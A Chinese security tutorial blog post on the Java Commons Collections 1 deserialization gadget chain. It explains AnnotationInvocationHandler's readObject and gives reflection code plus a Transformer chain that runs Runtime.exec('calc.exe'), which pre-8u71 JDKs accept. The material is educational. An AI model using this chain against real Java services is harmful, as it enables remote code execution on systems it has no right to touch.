跳转至
#java  #java安全  #反序列化 
本文阅读量 

反序列化篇4#

CC1#

反序列化篇3给我们留下了几个问题,上篇的极简demo并不能编写成反序列化的poc,问题主要是: 我们依靠HashMap.put方法来触发我们的链,但是我们没办法在反序列化时手工执行,所以我们在实际反序列化时需要找到一个类,其反序列化的readObject逻辑中有类似的写入操作。

AnnotationInvocationHandler#

这个类就是我们要寻找的类,其readObject方法代码如下(jdk8u71之前):

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码。

所以我们最后需要反序列化的就是这个AnnotationInvocationHandler,由于此类是JDK内部类,因此我们需要使用反射来获取该类实例。
AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类,第二个是参数就是前面构造的Map。这里第一个参数要使用什么Annotation类呢?仔细阅读源码发现,我们需要使得memberType!=null成立,所以第一个参数需要满足以下两个条件:
1. 必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
2. 被TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

所以我们最终选择了Retention类,其具有一个value方法,后续我们需要往HashMap中放入一个key为value的值。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

反射构造java.Runtime#

当我们将代码修改好之后,会发现依然无法将上述代码中的obj序列化,原因是java.lang.Runtime是没办法序列化的,我们需要使用反射技术来最终拿到该类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

所以我们需要修改Transformer,代码如下:
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };

其实和demo最大的区别就是将Runtime.getRuntime()换成了Runtime.class,前者是一个 java.lang.Runtime对象,后者是一个java.lang.Class对象。Class类有实现Serializable接口,所以可以被序列化。

高版本限制#

我们这里的payload是无法在jdk>=8u71上触发的,这是由于AnnotationInvokeHandle.readObject在此版本做了修改:

具体的解决办法在下一篇文章中。

总结#

整条链的调用逻辑为:

AnnotationInvocationHandler.readObject() 
  HashMap.setValue()
    ChainedTransformer.transform()
      ConstantTransformer.transform() // 获取Runtime.class
      InvokerTransformer.transform()   // 获取Runtime.getRuntime
      InvokerTransformer.transform()   // 获取Runtime实例
      InvokerTransformer.transform()   // 调用exec方法触发rce

回到页面顶部